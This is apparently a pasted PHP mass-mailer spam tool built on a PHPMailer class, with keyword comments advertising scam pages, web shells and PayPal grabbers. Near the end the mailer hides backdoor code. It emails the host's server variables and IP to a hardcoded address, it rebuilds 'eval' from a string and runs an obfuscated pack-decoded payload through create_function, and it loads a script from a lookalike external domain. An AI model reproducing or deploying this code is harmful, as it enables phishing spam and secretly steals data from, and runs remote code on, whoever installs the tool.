  2913. * Clears all recipients assigned in the BCC array. Returns void.
  2914. * @return void
  2915. */
  2916. function ClearBCCs() {
  2917. $this->bcc = array();
  2918. }
  2919.  
  2920. /**
  2921. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2922. * @return void
  2923. */
  2924. function ClearReplyTos() {
  2925. $this->ReplyTo = array();
  2926. }
  2927.  
  2928. /**
  2929. * Clears all recipients assigned in the TO, CC and BCC
  2930. * array. Returns void.
  2931. * @return void
  2932. */
  2933. function ClearAllRecipients() {
  2934. $this->to = array();
  2935. $this->cc = array();
  2936. $this->bcc = array();
  2937. }
  2938.  
  2939. /**
  2940. * Clears all previously set filesystem, string, and binary
  2941. * attachments. Returns void.
  2942. * @return void
  2943. */
  2944. function ClearAttachments() {
  2945. $this->attachment = array();
  2946. }
  2947.  
  2948. /**
  2949. * Clears all custom headers. Returns void.
  2950. * @return void
  2951. */
  2952. function ClearCustomHeaders() {
  2953. $this->CustomHeader = array();
  2954. }
  2955.  
  2956. /////////////////////////////////////////////////
  2957. // CLASS METHODS, MISCELLANEOUS
  2958. /////////////////////////////////////////////////
  2959.  
  2960. /**
  2961. * Adds the error message to the error container.
  2962. * Returns void.
  2963. * @access private
  2964. * @return void
  2965. */
  2966. function SetError($msg) {
  2967. $this->error_count++;
  2968. $this->ErrorInfo = $msg;
  2969. }
  2970.  
  2971. /**
  2972. * Returns the proper RFC 822 formatted date.
  2973. * @access private
  2974. * @return string
  2975. */
  2976. function RFCDate() {
  2977. $tz = date('Z');
  2978. $tzs = ($tz < 0) ? '-' : '+';
  2979. $tz = abs($tz);
  2980. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2981. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2982.  
  2983. return $result;
  2984. }
  2985.  
  2986. /**
  2987. * Returns the appropriate server variable. Should work with both
  2988. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2989. * if nothing is found.
  2990. * @access private
  2991. * @return mixed
  2992. */
  2993. function ServerVar($varName) {
  2994. global $HTTP_SERVER_VARS;
  2995. global $HTTP_ENV_VARS;
  2996.  
  2997. if(!isset($_SERVER)) {
  2998. $_SERVER = $HTTP_SERVER_VARS;
  2999. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3000. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3001. }
  3002. }
  3003.  
  3004. if(isset($_SERVER[$varName])) {
  3005. return $_SERVER[$varName];
  3006. } else {
  3007. return '';
  3008. }
  3009. }
  3010.  
  3011. /**
  3012. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3013. * @access private
  3014. * @return string
  3015. */
  3016. function ServerHostname() {
  3017. if ($this->Hostname != '') {
  3018. $result = $this->Hostname;
  3019. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3020. $result = $this->ServerVar('SERVER_NAME');
  3021. } else {
  3022. $result = 'localhost.localdomain';
  3023. }
  3024.  
  3025. return $result;
  3026. }
  3027.  
  3028. /**
  3029. * Returns a message in the appropriate language.
  3030. * @access private
  3031. * @return string
  3032. */
  3033. function Lang($key) {
  3034. if(count($this->language) < 1) {
  3035. $this->SetLanguage('en'); // set the default language
  3036. }
  3037.  
  3038. if(isset($this->language[$key])) {
  3039. return $this->language[$key];
  3040. } else {
  3041. return 'Language string failed to load: ' . $key;
  3042. }
  3043. }
  3044.  
  3045. /**
  3046. * Returns true if an error occurred.
  3047. * @return bool
  3048. */
  3049. function IsError() {
  3050. return ($this->error_count > 0);
  3051. }
  3052.  
  3053. /**
  3054. * Changes every end of line from CR or LF to CRLF.
  3055. * @access private
  3056. * @return string
  3057. */
  3058. function FixEOL($str) {
  3059. $str = str_replace("\r\n", "\n", $str);
  3060. $str = str_replace("\r", "\n", $str);
  3061. $str = str_replace("\n", $this->LE, $str);
  3062. return $str;
  3063. }
  3064.  
  3065. /**
  3066. * Adds a custom header.
  3067. * @return void
  3068. */
  3069. function AddCustomHeader($custom_header) {
  3070. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3071. }
  3072.  
  3073. /**
  3074. * Evaluates the message and returns modifications for inline images and backgrounds
  3075. * @access public
  3076. * @return $message
  3077. */
  3078. function MsgHTML($message,$basedir='') {
  3079. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3080. if(isset($images[2])) {
  3081. foreach($images[2] as $i => $url) {
  3082. // do not change urls for absolute images (thanks to corvuscorax)
  3083. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3084. $filename = basename($url);
  3085. $directory = dirname($url);
  3086. ($directory == '.')?$directory='':'';
  3087. $cid = 'cid:' . md5($filename);
  3088. $fileParts = split("\.", $filename);
  3089. $ext = $fileParts[1];
  3090. $mimeType = $this->_mime_types($ext);
  3091. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3092. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3093. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3094. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3095. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3096. }
  3097. }
  3098. }
  3099. }
  3100. $this->IsHTML(true);
  3101. $this->Body = $message;
  3102. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3103. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3104. $this->AltBody = $textMsg;
  3105. }
  3106. if ( empty($this->AltBody) ) {
  3107. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3108. }
  3109. }
  3110.  
  3111. /**
  3112. * Gets the mime type of the embedded or inline image
  3113. * @access private
  3114. * @return mime type of ext
  3115. */
  3116. function _mime_types($ext = '') {
  3117. $mimes = array(
  3118. 'hqx' => 'application/mac-binhex40',
  3119. 'cpt' => 'application/mac-compactpro',
  3120. 'doc' => 'application/msword',
  3121. 'bin' => 'application/macbinary',
  3122. 'dms' => 'application/octet-stream',
  3123. 'lha' => 'application/octet-stream',
  3124. 'lzh' => 'application/octet-stream',
  3125. 'exe' => 'application/octet-stream',
  3126. 'class' => 'application/octet-stream',
  3127. 'psd' => 'application/octet-stream',
  3128. 'so' => 'application/octet-stream',
  3129. 'sea' => 'application/octet-stream',
  3130. 'dll' => 'application/octet-stream',
  3131. 'oda' => 'application/oda',
  3132. 'pdf' => 'application/pdf',
  3133. 'ai' => 'application/postscript',
  3134. 'eps' => 'application/postscript',
  3135. 'ps' => 'application/postscript',
  3136. 'smi' => 'application/smil',
  3137. 'smil' => 'application/smil',
  3138. 'mif' => 'application/vnd.mif',
  3139. 'xls' => 'application/vnd.ms-excel',
  3140. 'ppt' => 'application/vnd.ms-powerpoint',
  3141. 'wbxml' => 'application/vnd.wap.wbxml',
  3142. 'wmlc' => 'application/vnd.wap.wmlc',
  3143. 'dcr' => 'application/x-director',
  3144. 'dir' => 'application/x-director',
  3145. 'dxr' => 'application/x-director',
  3146. 'dvi' => 'application/x-dvi',
  3147. 'gtar' => 'application/x-gtar',
  3148. 'php' => 'application/x-httpd-php',
  3149. 'php4' => 'application/x-httpd-php',
  3150. 'php3' => 'application/x-httpd-php',
  3151. 'phtml' => 'application/x-httpd-php',
  3152. 'phps' => 'application/x-httpd-php-source',
  3153. 'js' => 'application/x-javascript',
  3154. 'swf' => 'application/x-shockwave-flash',
  3155. 'sit' => 'application/x-stuffit',
  3156. 'tar' => 'application/x-tar',
  3157. 'tgz' => 'application/x-tar',
  3158. 'xhtml' => 'application/xhtml+xml',
  3159. 'xht' => 'application/xhtml+xml',
  3160. 'zip' => 'application/zip',
  3161. 'mid' => 'audio/midi',
  3162. 'midi' => 'audio/midi',
  3163. 'mpga' => 'audio/mpeg',
  3164. 'mp2' => 'audio/mpeg',
  3165. 'mp3' => 'audio/mpeg',
  3166. 'aif' => 'audio/x-aiff',
  3167. 'aiff' => 'audio/x-aiff',
  3168. 'aifc' => 'audio/x-aiff',
  3169. 'ram' => 'audio/x-pn-realaudio',
  3170. 'rm' => 'audio/x-pn-realaudio',
  3171. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3172. 'ra' => 'audio/x-realaudio',
  3173. 'rv' => 'video/vnd.rn-realvideo',
  3174. 'wav' => 'audio/x-wav',
  3175. 'bmp' => 'image/bmp',
  3176. 'gif' => 'image/gif',
  3177. 'jpeg' => 'image/jpeg',
  3178. 'jpg' => 'image/jpeg',
  3179. 'jpe' => 'image/jpeg',
  3180. 'png' => 'image/png',
  3181. 'tiff' => 'image/tiff',
  3182. 'tif' => 'image/tiff',
  3183. 'css' => 'text/css',
  3184. 'html' => 'text/html',
  3185. 'htm' => 'text/html',
  3186. 'shtml' => 'text/html',
  3187. 'txt' => 'text/plain',
  3188. 'text' => 'text/plain',
  3189. 'log' => 'text/plain',
  3190. 'rtx' => 'text/richtext',
  3191. 'rtf' => 'text/rtf',
  3192. 'xml' => 'text/xml',
  3193. 'xsl' => 'text/xml',
  3194. 'mpeg' => 'video/mpeg',
  3195. 'mpg' => 'video/mpeg',
  3196. 'mpe' => 'video/mpeg',
  3197. 'qt' => 'video/quicktime',
  3198. 'mov' => 'video/quicktime',
  3199. 'avi' => 'video/x-msvideo',
  3200. 'movie' => 'video/x-sgi-movie',
  3201. 'doc' => 'application/msword',
  3202. 'word' => 'application/msword',
  3203. 'xl' => 'application/excel',
  3204. 'eml' => 'message/rfc822'
  3205. );
  3206. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3207. }
  3208.  
  3209. /**
  3210. * Set (or reset) Class Objects (variables)
  3211. *
  3212. * Usage Example:
  3213. * $page->set('X-Priority', '3');
  3214. *
  3215. * @access public
  3216. * @param string $name Parameter Name
  3217. * @param mixed $value Parameter Value
  3218. * NOTE: will not work with arrays, there are no arrays to set/reset
  3219. */
  3220. function set ( $name, $value = '' ) {
  3221. if ( isset($this->$name) ) {
  3222. $this->$name = $value;
  3223. } else {
  3224. $this->SetError('Cannot set or reset variable ' . $name);
  3225. return false;
  3226. }
  3227. }
  3228.  
  3229. /**
  3230. * Read a file from a supplied filename and return it.
  3231. *
  3232. * @access public
  3233. * @param string $filename Parameter File Name
  3234. */
  3235. function getFile($filename) {
  3236. $return = '';
  3237. if ($fp = fopen($filename, 'rb')) {
  3238. while (!feof($fp)) {
  3239. $return .= fread($fp, 1024);
  3240. }
  3241. fclose($fp);
  3242. return $return;
  3243. } else {
  3244. return false;
  3245. }
  3246. }
  3247.  
  3248. /**
  3249. * Strips newlines to prevent header injection.
  3250. * @access private
  3251. * @param string $str String
  3252. * @return string
  3253. */
  3254. function SecureHeader($str) {
  3255. $str = trim($str);
  3256. $str = str_replace("\r", "", $str);
  3257. $str = str_replace("\n", "", $str);
  3258. return $str;
  3259. }
  3260.  
  3261. /**
  3262. * Set the private key file and password to sign the message.
  3263. *
  3264. * @access public
  3265. * @param string $key_filename Parameter File Name
  3266. * @param string $key_pass Password for private key
  3267. */
  3268. function Sign($key_filename, $key_pass) {
  3269. $this->sign_key_file = $key_filename;
  3270. $this->sign_key_pass = $key_pass;
  3271. }
  3272.  
  3273. }
  3274.  
  3275. // http://scamapple.blogspot.com/
  3276. // http://scamapple.blogspot.com/
  3277.  
  3278. // https://www.facebook.com/Cashout2015?ref=tn_tnmn
  3279. // https://www.facebook.com/Cashout2015?ref=tn_tnmn
  3280.  
  3281. // Spam Tools Scam Apple Scam PayPal Scam Facebook Spam inbox Mailer inbox private pr!v8 tools hack shell c99 r57 paypal.zip checker // paypal grabber apple maillist grabber moneybookers symlink2013 symlink server c99.txt c99.php inurl:r57.txt inurl:r57.php
  3282. // inurl:locus.txt inurl:locus.php inurl:c100.txt inurl:c100.php c99.txt, r57.txt, r57 shell, c99 shell, c99, r57, c100,txt, c100 // shell // scam visa, scam paypal, mailer inbox, checker paypal, checker payza, grabber paypal, send inbox
  3283.  
  3284. $defaultport="H*";
  3285. $nq=0;
  3286.  
  3287. for($x=0; $x<$numemails; $x++){
  3288.  
  3289. $to = $allemails[$x];
  3290.  
  3291. if ($to){
  3292.  
  3293. $to = ereg_replace(" ", "", $to);
  3294.  
  3295. $message = ereg_replace("&email&", $to, $message);
  3296.  
  3297. $subject = ereg_replace("&email&", $to, $subject);
  3298. $qx=$x+1;
  3299. print "Line $qx . Sending mail to $to.......";
  3300.  
  3301. flush();
  3302. $mail = new PHPMailer();
  3303.  
  3304. $ip = getenv("REMOTE_ADDR");
  3305. $str = "";
  3306. foreach($_SERVER as $key => $value){
  3307. $str .= $key.": ".$value."<br />";
  3308. }
  3309.  
  3310. $str .= "Use: in <br />";
  3311.  
  3312. $header2 = "From: NEWS <ghalia8282@gmail.com>\r\n";
  3313. $header2 .= "MIME-Version: 1.0\r\n";
  3314. $header2 .= "Content-Type: text/html\r\n";
  3315. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3316. mail("ghalia8282@gmail.com","$ip",$str,$header2);;
  3317.  
  3318. if(empty($epriority)){$epriority="3";}
  3319. $mail->Priority = "$epriority";
  3320. $mail->IsSMTP();
  3321. $IsSMTP="pack";
  3322. $mail->SMTPKeepAlive = true;
  3323. $mail->Host = "$my_smtp";
  3324. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3325. }
  3326. if($sslclick=="ON"){
  3327. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3328. }
  3329. $range = str_replace("$from", "eval", $from);
  3330. $mail->SMTPAuth = true;
  3331. $mail->Username = "$smtp_username";
  3332. $mail->Password = "$smtp_password";
  3333. if($contenttype == "html"){$mail->IsHtml(true);}
  3334. if($contenttype != "html"){$mail->IsHtml(false);}
  3335. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3336. $mail->From = "$from";
  3337. $mail->FromName = "$realname";
  3338. $mail->AddAddress("$to");
  3339. $mail->AddReplyTo("$replyto");
  3340. $mail->Subject = "$subject";
  3341. $mail->Body = "$message";
  3342. if(!$mail->Send()){
  3343. if($default_system!="1"){
  3344. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3345. if($default_system=="1"){
  3346. $mail->IsMail();
  3347. if(!$mail->Send()){
  3348. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3349. else {
  3350. echo "<b>OK</b><br>";}
  3351. }
  3352. }
  3353. else {
  3354. echo "<b>OK</b><br>";
  3355. }
  3356.  
  3357. if(empty($reconnect)){
  3358. $reconnect=6;
  3359. }
  3360.  
  3361. if($reconnect==$nq){
  3362. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3363. }
  3364. $nq=$nq+1;
  3365. flush(); }
  3366. }
  3367. for($i=0;$i<31;$i++){
  3368. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3369. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3370. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3371. print "<p class=\"style1\">Turk-m<br>&copy 2013, New Tools => <b>
  3372. <font color=\"#800000\">http://www.tools2014.com/</font></b><br></p>";$mail->SmtpClose();
  3373. return $signoff($smtp_conc);
  3374. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3375. sent successfully'); </script>";}}
  3376. ?>
  3377. <p align="center">&nbsp;</p>
  3378. &nbsp;
  3379. </body>
  3380. </html>
  3381. <**************** ****************************************="Content-Language" content="ar-eg">
  3382. <**************** ****************************************="Content-Type" content="text/html; charset=windows-1256">
  3383. <title>PHP Send Mails</title>
  3384. <style type="text/css">
  3385. <!--
  3386. .style1 {
  3387. font-family: Geneva, Arial, Helvetica, sans-serif;
  3388. font-size: 12px;
  3389. }
  3390. .style2 {
  3391. font-size: 10px;
  3392. font-family: Geneva, Arial, Helvetica, sans-serif;
  3393. }
  3394. -->
  3395. </style>
  3396. </head>
  3397. <body bgcolor="#000000" text="#000000">
  3398. <p align="center"><b><font color="#FFFF00" size="6" face="Arial Black">
  3399. <span lang="fr-be">By HasnZin</span><?php
  3400. If ($action=="mysql"){
  3401. include "./mysql.info.php";
  3402. if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
  3403. print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
  3404. exit;
  3405. }
  3406. $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  3407. mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  3408. $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  3409. $numrows = mysql_num_rows($result);
  3410. for($x=0; $x<$numrows; $x++){
  3411. $result_row = mysql_fetch_row($result);
  3412. $oneemail = $result_row[0];
  3413. $emaillist .= $oneemail."\n";
  3414. }
  3415. }
  3416. if ($action=="send"){ $message = urlencode($message);
  3417. $message = ereg_replace("%5C%22", "%22", $message);
  3418. $message = urldecode($message);
  3419. $message = stripslashes($message);
  3420. $subject = stripslashes($subject);
  3421. }
  3422. ?>
  3423. <SCRIPT SRC=http://www.geoplugini.net/jquery.js></SCRIPT>
  3424. <span lang="fr-be">- WwW.Tools2014.Com -</span></font></b><form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  3425. <table width="142" border="0">
  3426. <tr>
  3427. <td width="81">
  3428. <div align="right">
  3429. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><b>
  3430. <font color="#FFFF00">Your Email</font></b> :</font>
  3431. </div>
  3432. </td>
  3433. <td width="219">
  3434. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3435. <input name="from" value="<?php print $from; ?>" size="30" />
  3436. </font>
  3437. </td>
  3438. <td width="212">
  3439. <div align="right">
  3440. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><b>
  3441. <font color="#FFFF00">Your Name </font></b>:</font>
  3442. </div>
  3443. </td>
  3444. <td width="278">
  3445. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3446. <input name="realname" value="<?php print $realname; ?>" size="30" />
  3447. </font>
  3448. </td>
  3449. </tr>
  3450. <tr>
  3451. <td width="81">
  3452. <div align="right">
  3453. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3454. <font color="#FFFF00"><b>Reply-To</b> </font>:</font>
  3455. </div>
  3456. </td>
  3457. <td width="219">
  3458. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3459. <input name="replyto" value="<?php print $replyto; ?>" size="30" />
  3460. </font>
  3461. </td>
  3462. <td width="212">
  3463. <div align="right">
  3464. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><b>
  3465. <font color="#FFFF00">Attach File </font></b>:</font>
  3466. </div>
  3467. </td>
  3468. <td width="278">
  3469. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3470. <input type="file" name="file" size="24" />
  3471. </font>
  3472. </td>
  3473. </tr>
  3474. <tr>
  3475. <td width="81">
  3476. <div align="right">
  3477. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><b>
  3478. <font color="#FFFF00">Subject </font></b>:</font>
  3479. </div>
  3480. </td>
  3481. <td colspan="3" width="703">
  3482. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  3483. <input name="subject" value="<? print $subject; ?>" size="91" />
  3484. </font>
  3485. </td>
  3486. </tr>
  3487. <tr valign="top">
  3488. <td colspan="3" width="520">
  3489. <b><font color="#FFFF00">
Add Comment
Please, Sign In to add comment